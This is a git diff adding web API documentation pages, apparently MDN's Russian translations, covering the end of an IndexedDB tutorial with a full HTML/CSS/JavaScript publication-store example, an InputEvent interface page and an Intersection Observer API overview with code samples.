+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-year"&gt;
+                Year:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="number" id="pub-year" name="pub-year" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file"&gt;
+                File image:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="file" id="pub-file"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file-url"&gt;
+                Online-file image URL:&lt;br/&gt;
+                &lt;span class="note"&gt;(same origin URL)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-file-url" name="pub-file-url"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="add-button" value="Add Publication" /&gt;
+        &lt;input type="reset" id="register-form-reset"/&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="delete-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid-to-delete"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="key-to-delete"&gt;
+                Key:&lt;br/&gt;
+                &lt;span class="note"&gt;(for example 1, 2, 3, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="key-to-delete"
+                     name="key-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="delete-button" value="Delete Publication" /&gt;
+        &lt;input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="search-form"&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="search-list-button"
+               value="List database content" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;div&gt;
+      &lt;div id="pub-msg"&gt;
+      &lt;/div&gt;
+      &lt;div id="pub-viewer"&gt;
+      &lt;/div&gt;
+      &lt;ul id="pub-list"&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+</pre>
+
+<p> </p>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', "&gt;= 16.0"],
+    ['Google Chrome',
+     "&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('&lt;ul id="compat-list"&gt;&lt;/ul&gt;');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('&lt;li&gt;' + val[0] + ': ' + val[1] + '&lt;/li&gt;');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid to uselessly reload it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+     console.log("openDb.onupgradeneeded");
+     var thisDB = evt.target.result;
+     if (!thisDB.objectStoreNames.contains(DB_STORE_NAME)) {
+      var store = thisDB.createObjectStore(
+          DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+        store.createIndex('biblioid', 'biblioid', { unique: true });
+        store.createIndex('title', 'title', { unique: false });
+        store.createIndex('year', 'year', { unique: false });
+      }
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Reseting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('&lt;p&gt;There are &lt;strong&gt;' + evt.target.result +
+                     '&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('&lt;li&gt;' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '&lt;/li&gt;');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &amp;&amp;
+              typeof value.blob != 'undefined') {
+            var link = $('&lt;a href="' + cursor.key + '"&gt;File&lt;/a&gt;');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('&lt;iframe /&gt;');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('&lt;img id="' + img_id + '"/&gt;');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin than the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+                           if (xhr.status == 200) {
+                             console.log("Blob retrieved");
+                             var blob = xhr.response;
+                             console.log("Blob:", blob);
+                             addPublication(biblioid, title, year, blob);
+                           } else {
+                             console.error("addPublicationFromUrl error:",
+                                           xhr.responseText, xhr.status);
+                           }
+                         };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+      };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('&lt;span class="action-success"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('&lt;span class="action-failure"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+</pre>
+
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}</p>
+
+<h2 id="Next_step">Next step</h2>
+
+<p>If you want to start tinkering with the API, jump in to the <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">reference documentation</a> and checking out the different methods.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Reference</p>
+
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+</ul>
+
+<p>Tutorials</p>
+
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">A simple TODO list using HTML5 IndexedDB</a><span class="external">. {{Note("This tutorial is based on an old version of the specification and does not work on up-to-date browsers - it still uses the removed <code>setVersion()</code> method.") }}</span></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+</ul>
+
+<p>Related articles</p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<p>Firefox</p>
+
+<ul>
+ <li>Mozilla <a class="link-https" href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files0</a></li>
+</ul>
diff --git a/files/ru/web/api/inputevent/index.html b/files/ru/web/api/inputevent/index.html
new file mode 100644
index 0000000000..8dd6cc087e
--- /dev/null
+++ b/files/ru/web/api/inputevent/index.html
@@ -0,0 +1,73 @@
+---
+title: InputEvent
+slug: Web/API/InputEvent
+translation_of: Web/API/InputEvent
+---
+<div>{{APIRef("DOM Events")}} {{SeeCompatTable}}</div>
+
+<p>The <strong><code>InputEvent</code></strong> interface represents an event notifying of editable content change.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("InputEvent.InputEvent", "InputEvent()")}}</dt>
+ <dd>Создает <code>InputEvent</code> объект.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>This interface <em>inherits properties from its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref("InputEvent.data")}}{{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the inserted characters. This may be an empty string if the change doesn't insert text (such as when deleting characters, for example).</dd>
+ <dt>{{domxref("InputEvent.dataTransfer")}}{{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DataTransfer")}} object containing information about richtext or plaintext data being added to or removed from editable content.</dd>
+ <dt>{{domxref("InputEvent.inputType")}}{{readonlyinline}}</dt>
+ <dd>Returns the type of change for editable content such as, for example, inserting, deleting, or formatting text. See the property page for a complete list of input types.</dd>
+ <dt>{{domxref("InputEvent.isComposing")}}{{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} value indicating if the event is fired after {{event("compositionstart")}} and before {{event("compositionend")}}.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface <em>inherits methods from its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref('InputEvent.getTargetRanges()')}}</dt>
+ <dd>Returns an array of static ranges that will be affected by a change to the DOM if the input event is not canceled.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('InputEvents2','#interface-InputEvent','InputEvent')}}</td>
+   <td>{{Spec2('InputEvents2')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.InputEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ event("beforeinput") }}</li>
+ <li><a href="/en-US/docs/Web/API/InputEvent/input_event"><code>input</code> event</a></li>
+</ul>
diff --git a/files/ru/web/api/intersection_observer_api/index.html b/files/ru/web/api/intersection_observer_api/index.html
new file mode 100644
index 0000000000..40fbfc7443
--- /dev/null
+++ b/files/ru/web/api/intersection_observer_api/index.html
@@ -0,0 +1,134 @@
+---
+title: Intersection Observer API
+slug: Web/API/Intersection_Observer_API
+tags:
+  - Intersection Observer API
+  - пересечение объектов
+translation_of: Web/API/Intersection_Observer_API
+---
+<p>{{DefaultAPISidebar("Intersection Observer API")}}</p>
+
+<p class="summary">Intersection Observer API позволяет веб-приложениям асинхронно следить за изменением пересечения элемента с его родителем или областью видимости документа {{Glossary("viewport")}}.</p>
+
+<p>Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадежными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:</p>
+
+<ul>
+ <li>Отложенная загрузка изображений или другого контента по мере прокрутки страницы.</li>
+ <li>Реализация веб-сайтов с "бесконечным скроллом", где контент подгружается по мере того как страница прокручивается вниз, и пользователю не нужно переключаться между страницами.</li>
+ <li>Отчет о видимости рекламы с целью посчитать доходы от нее.</li>
+ <li>Принятие решения, запускать ли какой-то процесс или анимацию в зависимости от того, увидит пользователь результат или нет.</li>
+</ul>
+
+<p>В прошлом реализация обнаружения пересечения элементов подразумевала использование обработчиков событий и циклов, вызывающих методы типа {{domxref("Element.getBoundingClientRect()")}}, чтобы собрать необходимую информацию о каждом затронутом элементе. Поскольку весь этот код работает в основном потоке, возникают проблемы с производительностью.</p>
+
+<p>Рассмотрим веб-страницу с бесконечным скроллом. На ней используется библиотека для управления периодически размещаемой по всей странице рекламой, повсюду анимированная графика, а также библиотека для отображения всплывающих окон. И все эти вещи используют свои собственные правила для обнаружения пересечений, и все они запущены в основном потоке. Автор сайта может даже не подозревать об этой проблеме, а также может не знать, как работают сторонние библиотеки изнутри. В то же время пользователь по ходу прокрутки страницы сталкивается с тем, что работа сайта замедляется постоянным срабатыванием обнаружения пересечения, что в итоге приводит к тому, что пользователь недоволен браузером, сайтом и  своим компьютером.</p>
+
+<p>Intersection Observer API даёт возможность зарегистрировать callback-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на опредённое значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.</p>
+
+<p>Observer API не позволит узнать точное число пикселей или определить конкретные пиксели в пересечении; однако, его использование покрывает наиболее частые сценарии вроде "Если элементы пересекаются на N%, сделай то-то".</p>
+
+<h2 id="Основные_понятия">Основные понятия</h2>
+
+<p>Intersection Observer API позволяет указать функцию, которая будет вызвана всякий раз для элемента (<strong>target</strong>) при пересечении его с областью видимости документа (по-умолчанию) или заданным элементом (<strong>root</strong>).</p>
+
+<p>В основном, используется отслеживание пересечения элемента с областью видимости (необходимо указать <code>null</code> в качестве корневого элемента).</p>
+
+<p>Используете ли вы область видимости или другой элемент в качестве корневого, API работает одинаково, вызывая заданную вами функцию обратного вызова, всякий раз, когда видимость целевого элемента изменяет так, что она пересекает в нужной степени корневой элемент.</p>
+
+<p>Степень пересечения целевого и корневого элемента задается в диапазоне от  0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.</p>
+
+<h3 id="Пример_использования">Пример использования</h3>
+
+<p>Для начала с помощью конструктора нужно создать объект-наблюдатель, указать для него функцию для вызова и настройки отслеживания:</p>
+
+<pre class="brush: js">var options = {
+    root: document.querySelector('#scrollArea'),
+    rootMargin: '0px',
+    threshold: 1.0
+}
+var callback = function(entries, observer) {
+    /* Content excerpted, show below */
+};
+var observer = new IntersectionObserver(callback, options);</pre>
+
+<p>Параметр threshold со значением 1.0 означает что функция будет вызвана при 100% пересечении объекта (за которым мы следим) с объектом root</p>
+
+<h3 id="Настройки">Настройки</h3>
+
+<dl>
+ <dt>root</dt>
+ <dd>Элемент который используется в качестве области просмотра для проверки видимости целевого элемента. Должен быть предком целевого элемента. По умолчанию используется область видимости браузера если не определён или имеет значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">null</span></font>.</dd>
+ <dt>rootMargin  </dt>
+ <dd>Отступы вокруг root.  Могут иметь значения как свойство css margin: "<code>10px 20px 30px 40px" (top, right, bottom, left).</code> Значения можно задавать в процентах. По умолчанию все параметры установлены в нули.</dd>
+ <dt>threshold</dt>
+ <dd>Число или массив чисел, указывающий, при каком проценте видимости целевого элемента должен сработать callback. Например, в этом случае callback функция будет вызываться при появлении в зоне видимости каждый 25% целевого элемента:  [0, 0.25, 0.5, 0.75, 1]</dd>
+</dl>
+
+<h4 id="Целевой_элемент_который_будет_наблюдаться">Целевой элемент, который будет наблюдаться</h4>
+
+<p>После того, как вы создали наблюдателя, вам нужно дать ему целевой элемент для просмотра:</p>
+
+<pre class="brush: js">var target = document.querySelector('#listItem');
+observer.observe(target);
+</pre>
+
+<p>Всякий раз, когда цель достигает порогового значения, указанного для <code>IntersectionObserver</code>, вызывается функция обратного вызова <code>callback</code>. Где <code>callback</code> получает список объектов {{domxref ("IntersectionObserverEntry")}} и наблюдателя:</p>
+
+<pre class="brush: js">var callback = function(entries, observer) {
+    entries.forEach(entry =&gt; {
+        entry.time;               // a DOMHightResTimeStamp indicating when the intersection occurred.
+        entry.rootBounds;         // a DOMRectReadOnly for the intersection observer's root.
+        entry.boundingClientRect; // a DOMRectReadOnly for the intersection observer's target.
+        entry.intersectionRect;   // a DOMRectReadOnly for the visible portion of the intersection observer's target.
+        entry.intersectionRatio;  // the number for the ratio of the intersectionRect to the boundingClientRect.
+        entry.target;             // the Element whose intersection with the intersection root changed.
+        entry.isIntersecting;     // intersecting: true or false
+    });
+};
+</pre>
+
+<p>Обратите внимание, что функция обратного вызова запускается в главном потоке и должна выполняться как можно быстрее, поэтому если что-то отнимает много времени, то используйте {{domxref("Window.requestIdleCallback()")}}.</p>
+
+<p>Также обратите внимание, что если вы указали опцию <code>root</code>, целевой элемент должен быть потомком корневого элемента.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver")}}</dt>
+ <dd>Основной интерфейс для API Intersection Observer. Предоставляет методы для создания и управления observer, который может наблюдать любое количество целевых элементов для одной и той же конфигурации пересечения. Каждый observer может асинхронно наблюдать изменения в пересечении между одним или несколькими целевыми элементами и общим элементом-предком или с их верхним уровнем {{domxref("Document")}}'s {{Glossary('viewport')}}. Предок или область просмотра упоминается как <strong>root</strong>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry")}}</dt>
+ <dd>Описывает пересечение между целевым элементом и его корневым контейнером в определенный момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего обратного вызова IntersectionObserver или путем вызова {{domxref ("IntersectionObserver.takeRecords()")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/IntersectionObserver">Intersection Observer polyfill</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
